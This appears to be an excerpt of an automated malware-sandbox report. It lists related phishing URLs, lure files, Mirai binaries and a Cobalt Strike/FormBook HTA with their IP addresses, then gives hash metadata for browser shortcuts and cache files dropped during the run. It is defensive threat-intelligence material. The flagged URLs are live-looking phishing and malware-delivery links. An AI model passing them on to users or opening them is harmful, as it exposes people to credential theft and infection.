	https://shared.outlook.inky.com/link?domain=sonarmedia.a2hosted.com&t=h.eJw1jkEOwiAURK_SsDYlH2iBrrzKF76WQEsDNMYY764sXM_Me_NmZ0lsGdja2lEXzmvesWzkA44o1lwb-dHljV0GFntvp5bLw04wWSl5xEL7FRPWiC9KKT99qAc2t_YR13dQwmhPAFLMqL32Cidh9U16A8pw0AqEmY00owUtLcguoi7aQqROjhgokWsluP8R_8v3M6XPF5GqOpY.MEQCIG-ydO5bULjNxSxtbqdqhoXlnmTS_tzb28w3vOdO8_ksAiBb9fKtPLfM5aYfQbUW6d81oub3HxpVI_ll_oHZbUXVIA	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	151.101.194.137
	http://go.m1.hrcompliance.online/track/click/SlC0AvG0onqQGsW7nu2rzJxK31w/1/aHR0cHM6Ly9rbm93bGVkZ2VibGVuZGVyLmNvbS9sb2FkLWNvdXJzZS9kMGIyYjhiYTc1N2RmZmIyOTU2MmFhNDgxZmI0M2MxYg==/?md5=_YTGGM8DHft1JCbCGS6PPg	Get hash	malicious	Unknown	Browse	185.199.108.153
	https://sfo2.digitaloceanspaces.com/mo8043/jm1208	Get hash	malicious	Unknown	Browse	151.101.1.194
	https://krlbnwrvjizgauhuaegf.supabase.co/storage/v1/object/public/enroute-computer/Enroute%20Computer%20Solutions.pdf	Get hash	malicious	HTMLPhisher	Browse	151.101.65.229
	3vnPlay__(Harrison.edwards)__Now_AUD__autoresponse_}.svg	Get hash	malicious	HTMLPhisher	Browse	151.101.129.140
	https://uniqueattestation.com/dev/	Get hash	malicious	Invisible JS	Browse	151.101.194.137
	https://4yk.enterszcainmenthub.ru/shaw9AvRJk/%23Upatti.passmore@first=	Get hash	malicious	Invisible JS	Browse	151.101.130.137
FASTLYUS	http://rebcare.help	Get hash	malicious	Unknown	Browse	151.101.194.137
	https://spaceavenue.ae/Wilbe/roni.html	Get hash	malicious	HTMLPhisher	Browse	151.101.129.229
	Blake Moss is inviting you to collaborate on Distribution Notice.eml	Get hash	malicious	Unknown	Browse	151.101.2.217
	https://shared.outlook.inky.com/link?domain=sonarmedia.a2hosted.com&t=h.eJw1jkEOwiAURK_SsDYlH2iBrrzKF76WQEsDNMYY764sXM_Me_NmZ0lsGdja2lEXzmvesWzkA44o1lwb-dHljV0GFntvp5bLw04wWSl5xEL7FRPWiC9KKT99qAc2t_YR13dQwmhPAFLMqL32Cidh9U16A8pw0AqEmY00owUtLcguoi7aQqROjhgokWsluP8R_8v3M6XPF5GqOpY.MEQCIG-ydO5bULjNxSxtbqdqhoXlnmTS_tzb28w3vOdO8_ksAiBb9fKtPLfM5aYfQbUW6d81oub3HxpVI_ll_oHZbUXVIA	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	151.101.194.137
	http://go.m1.hrcompliance.online/track/click/SlC0AvG0onqQGsW7nu2rzJxK31w/1/aHR0cHM6Ly9rbm93bGVkZ2VibGVuZGVyLmNvbS9sb2FkLWNvdXJzZS9kMGIyYjhiYTc1N2RmZmIyOTU2MmFhNDgxZmI0M2MxYg==/?md5=_YTGGM8DHft1JCbCGS6PPg	Get hash	malicious	Unknown	Browse	185.199.108.153
	https://sfo2.digitaloceanspaces.com/mo8043/jm1208	Get hash	malicious	Unknown	Browse	151.101.1.194
	https://krlbnwrvjizgauhuaegf.supabase.co/storage/v1/object/public/enroute-computer/Enroute%20Computer%20Solutions.pdf	Get hash	malicious	HTMLPhisher	Browse	151.101.65.229
	3vnPlay__(Harrison.edwards)__Now_AUD__autoresponse_}.svg	Get hash	malicious	HTMLPhisher	Browse	151.101.129.140
	https://uniqueattestation.com/dev/	Get hash	malicious	Invisible JS	Browse	151.101.194.137
	https://4yk.enterszcainmenthub.ru/shaw9AvRJk/%23Upatti.passmore@first=	Get hash	malicious	Invisible JS	Browse	151.101.130.137
MICROSOFT-CORP-MSN-AS-BLOCKUS	phish_alert_sp2_2.0.0.0.msg	Get hash	malicious	unknown	Browse	52.109.76.243
	i686.elf	Get hash	malicious	Mirai	Browse	22.154.39.152
	cbr.ppc.elf	Get hash	malicious	Mirai	Browse	13.107.240.55
	Blake Moss is inviting you to collaborate on Distribution Notice.eml	Get hash	malicious	Unknown	Browse	20.42.73.26
	cbr.spc.elf	Get hash	malicious	Mirai	Browse	40.87.204.208
	cbr.mpsl.elf	Get hash	malicious	Mirai	Browse	20.211.111.66
	cbr.x86.elf	Get hash	malicious	Mirai	Browse	20.248.163.151
	http://go.m1.hrcompliance.online/track/click/SlC0AvG0onqQGsW7nu2rzJxK31w/1/aHR0cHM6Ly9rbm93bGVkZ2VibGVuZGVyLmNvbS9sb2FkLWNvdXJzZS9kMGIyYjhiYTc1N2RmZmIyOTU2MmFhNDgxZmI0M2MxYg==/?md5=_YTGGM8DHft1JCbCGS6PPg	Get hash	malicious	Unknown	Browse	150.171.27.10
	wecreatedbestthingswithbestwomenforgive.hta	Get hash	malicious	Cobalt Strike, FormBook	Browse	204.79.197.203
	3vnPlay__(Harrison.edwards)__Now_AUD__autoresponse_}.svg	Get hash	malicious	HTMLPhisher	Browse	13.107.42.14

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Mar 6 20:54:47 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.985121418626021
Encrypted:	false
SSDEEP:	48:8lwdDTrrfHMidAKZdA19ehwiZUklqehjy+3:82bCoy
MD5:	277CCCE7FD348BA8C1D97155C88C0766
SHA1:	4636D71D8576DA78FD43FC7EBD58D2B6BB67C60E
SHA-256:	8C97668734C7BD97652608B998F25A12B2874E4042CD2A7090CB0BD43D7DE772
SHA-512:	60F3855F65441405DDC28284F5FE476DCCF13EB421BA8E23AB1DB0C5F2DA8350527D23E5363D0E27431107E3597B120C11C341C7AA25B6BE24E2039B4EAD3119
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....h.`...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IfZ.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VfZ.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VfZ.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VfZ............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VfZ............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........n#.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Mar 6 20:54:47 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9953125328553063
Encrypted:	false
SSDEEP:	48:8RrwdDTrrfHMidAKZdA1weh/iZUkAQkqehYy+2:8CbY9Qpy
MD5:	04B8DF6799B5D23BD56B46DAC8BD503E
SHA1:	C96076429AA3D28B7F76334A03B85AC6CB90886F
SHA-256:	BD5F628D3F090073A1E14D9CA40EA9EF47E0EA1809797A90B85544BD6F76DF2F
SHA-512:	0289A4C987135E4880D8748ECD95234D59DF38C669760D37C00CC9DBA71622AF19943711F6A1EBBB5BCAEBC517F585C4EF8018A1A8785B6CEE44260B5A7FD168
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....a.`...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IfZ.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VfZ.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VfZ.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VfZ............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VfZ............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........n#.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.011372685597639
Encrypted:	false
SSDEEP:	48:8xzwdDTrrsHMidAKZdA14tseh7sFiZUkmgqeh7s2y+BX:8xsbtn0y
MD5:	87CDB0D5A3C41BCAC5410673F141DA64
SHA1:	EC1404C889C5994455AF949766A0BA4194847D3A
SHA-256:	68E4CF5CF4CC31768C832E37B5292014D0C9B2DB0C5FEDEBC24F4FEC3B44AEBC
SHA-512:	B8D77A775BF6E6D552D503FBF60111D11F8308C707DA61DCD6D3B26A52DC3E62B9242920AB65CB707F92A12159990B30EC26D6B53058B201C4E25030B7C1D84A
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IfZ.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VfZ.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VfZ.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VfZ............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........n#.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Mar 6 20:54:47 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9985751485951857
Encrypted:	false
SSDEEP:	48:8uwdDTrrfHMidAKZdA1vehDiZUkwqehMy+R:8nbDuy
MD5:	BFE28AD5FA19EB90B187B993FA99FBAE
SHA1:	F8250487C2CA9858D1781EBDB50E5D2F2DF9F318
SHA-256:	25EDB5DB39C2DE895DC30AFC008C248ABAF0EBB2698305CD3F215992EEC3B1DB
SHA-512:	622A1244BF802CC7854F15252AAC6D2B81B6BF3889876D1E9BBA851739624CD6F117A90CF921DEBC19D9C57A33FFDDF24B23BAC154BFC2AB04681154AC178226
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......`...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IfZ.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VfZ.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VfZ.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VfZ............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VfZ............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........n#.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Mar 6 20:54:47 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9883414905537786
Encrypted:	false
SSDEEP:	48:83wdDTrrfHMidAKZdA1hehBiZUk1W1qehCy+C:8gbT9iy
MD5:	9F345CC968419625EB2412AA1BC95B41
SHA1:	ED940C8A72EABF14B37815BD397A3F98BD5D0C4A
SHA-256:	B3AD87BF510F4EEA5E50F2FC6C95669A3269EEA82609AE60F2FEC45308EBFFBE
SHA-512:	7F958A4D29FC08F73DE4217639F0F95D14EFA55AA93A2AAA812FECB24E245346B1F34502955B35550FC324A098C29248E7650FFD81C7DFA7FBE9812C90D4815E
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......`...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IfZ.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VfZ.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VfZ.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VfZ............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VfZ............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........n#.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Mar 6 20:54:47 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9969081143189533
Encrypted:	false
SSDEEP:	48:8cXwdDTrrfHMidAKZdA1duT+ehOuTbbiZUk5OjqehOuTb0y+yT+:8cAbDT/TbxWOvTb0y7T
MD5:	42550AEB075EF6FF4F1201EC39B7BB78
SHA1:	EB1B478F7D03968103BDD94B1F5803C1CDC9FCA4
SHA-256:	42C3BDF36D045704EB1F40EFFFFEA6038447D9381B62F74AF75A13C7590DE033
SHA-512:	01B7ED207EF6CD64FD8953FDA32B319CEE41B737A1AB3B8F56F07A981E65F3FEBBDDBD4D6EC1756577C5B86AF9D2B97BF1DB37C74FD92998DA8C6DA07A9D4BBF
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....o.`...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IfZ.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VfZ.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VfZ.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VfZ............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VfZ............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........n#.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	dropped
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	high, very likely benign file
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 190152
Category:	downloaded
Size (bytes):	61052
Entropy (8bit):	7.996159932827634
Encrypted:	true
SSDEEP:	1536:HQaq1Q7XOos5ZBIp+1Zr52IGmCJijm1qAxTe9wzf:fq1HoUBIpU5TG7JSmwuTe+b
MD5:	C1E82BF71ADD622AD0F3BF8572F634FC
SHA1:	6CA863D4CAB96669202548D301693B3F5F80B0D5
SHA-256:	BA48AF15D297DB450DC4870242482145ADDB2D18375A4871C490429E2DC5464A
SHA-512:	820A7F8A0C8EA33A8FE1E90CDC35F45DC1E143E836B0D8EA047E1E312F8CAEC72CDEE4E7DB54760A4D749CD0ACFE103A27E39A9A56EB2D704E448A67B0D0C079
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js
Preview:	...........iw.F.0.....'W...4)/qH#..D.L.EK...................().}.{..@.z........Qz.,..Ox.....i4..S.&.p......9..W....);a.].a....Y......Y<,.n..."`Is....5....P..\|.-..x1.F...@...yRlG.O..5.Q.\|.gy.c.^....r.EC.....xd.oL..$./..\|3.......r^.j.}...M... )x.D.....%.....B..t....vZ....2L......px.G.1..lZYh...$.....,.../.a..;Q...._..#.....e.T.:trA_.0.:.f...........(I.x?.S...<7...o..0.`r.x.+.2..o+...4/..vzY7.C'.....!.r..4n....]P.+a..........._.8,..G>...{.4B....o.9.....r......X3..U.....'.0.@...lrX....r.W\e...].}....(.l......=........3....S..........^=D..[.zw6..e...<WQ.w.(.X..S....>.^.....^B..O-.(..U.R;h..v.......4.Dc .?..z....r.._.Y......M.a.?,...?..U.....OF.w\h$.Q..5....Q.Oj ....5U..8..Y......gYZM....y..OrY.z]B..y..;o.....oT.r...H..{K...Y&Q.........W....N4.......].0m..m........E.bc..~..e.. .nzS.i3^......).,Y}.=1H...... V...g.)....X..G...C....@o,.i.~...as...ehEH....u9l.2...y\J.?.(.I.q%..F#..D../>pr$...,...m.6..:,<s..~S.fl;k.'<..}z.Y.

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3445), with CRLF line terminators
Category:	downloaded
Size (bytes):	3447
Entropy (8bit):	5.1147634913081745
Encrypted:	false
SSDEEP:	96:3qO9I9Sz9cNHULI5m4n0imQBGLesqAsosushswsosry:a2IYz9c6qzmQBaC
MD5:	ACDEC8DAD3164FBA20E86D50F1B979F1
SHA1:	0C5FD1CCA5BECDB0080D20E6A90CCD91BC0D5894
SHA-256:	1D2CDE2E778A731CBD158758F735E1BCC2508A8252720D261D94068AFF45AACC
SHA-512:	A9D25D79EDF7BD8D668D5833263461B72B077AD3885A05DE749C7F0326BFC7C8D5D2D967E11FF40E52755211774DEC0E913532BC86AEEEC37B243A213CECEEC1
Malicious:	false
URL:	https://login.live.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,e.p="",e(0)}([function(t,e){function s(t){for(var e=f[S],s=0,n=e.length;s<n;++s)if(e[s]===t)return!0;return!1}function n(t){if(!t)return null;for(var e=t+"=",s=document.cookie.split(";"),n=0,i=s.length;n<i;n++){var a=s[n].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===a.indexOf(e))return a.substring(e.length)}return null}function i(t,e,s){if(t)for(var n=t.split(":"),i=null,a=0,r=n.length;a<r;++a){var c=null,S=n[a].split("$");if(0===a&&(i=parseInt(S.shift()),!i))return;var l=S.length;if(l>=1){var p=o(i,S[0]);if(!p\|\|s[p])continue;c={signInName:p,idp:"msa",isSignedIn:!0}}if(l>=3&&(c.firstName=o(i,S[1]),c.lastName=o(i,S[2])),l>=4){var f=S[3],d=f.split("\|");c.otherHashedAliases=d}if(l>=5){var h=parseInt(S[4],16);h&&(c.

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 190152
Category:	dropped
Size (bytes):	61052
Entropy (8bit):	7.996159932827634
Encrypted:	true
SSDEEP:	1536:HQaq1Q7XOos5ZBIp+1Zr52IGmCJijm1qAxTe9wzf:fq1HoUBIpU5TG7JSmwuTe+b
MD5:	C1E82BF71ADD622AD0F3BF8572F634FC
SHA1:	6CA863D4CAB96669202548D301693B3F5F80B0D5
SHA-256:	BA48AF15D297DB450DC4870242482145ADDB2D18375A4871C490429E2DC5464A
SHA-512:	820A7F8A0C8EA33A8FE1E90CDC35F45DC1E143E836B0D8EA047E1E312F8CAEC72CDEE4E7DB54760A4D749CD0ACFE103A27E39A9A56EB2D704E448A67B0D0C079
Malicious:	false
Preview:	...........iw.F.0.....'W...4)/qH#..D.L.EK...................().}.{..@.z........Qz.,..Ox.....i4..S.&.p......9..W....);a.].a....Y......Y<,.n..."`Is....5....P..\|.-..x1.F...@...yRlG.O..5.Q.\|.gy.c.^....r.EC.....xd.oL..$./..\|3.......r^.j.}...M... )x.D.....%.....B..t....vZ....2L......px.G.1..lZYh...$.....,.../.a..;Q...._..#.....e.T.:trA_.0.:.f...........(I.x?.S...<7...o..0.`r.x.+.2..o+...4/..vzY7.C'.....!.r..4n....]P.+a..........._.8,..G>...{.4B....o.9.....r......X3..U.....'.0.@...lrX....r.W\e...].}....(.l......=........3....S..........^=D..[.zw6..e...<WQ.w.(.X..S....>.^.....^B..O-.(..U.R;h..v.......4.Dc .?..z....r.._.Y......M.a.?,...?..U.....OF.w\h$.Q..5....Q.Oj ....5U..8..Y......gYZM....y..OrY.z]B..y..;o.....oT.r...H..{K...Y&Q.........W....N4.......].0m..m........E.bc..~..e.. .nzS.i3^......).,Y}.=1H...... V...g.)....X..G...C....@o,.i.~...as...ehEH....u9l.2...y\J.?.(.I.q%..F#..D../>pr$...,...m.6..:,<s..~S.fl;k.'<..}z.Y.

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 121

Download File

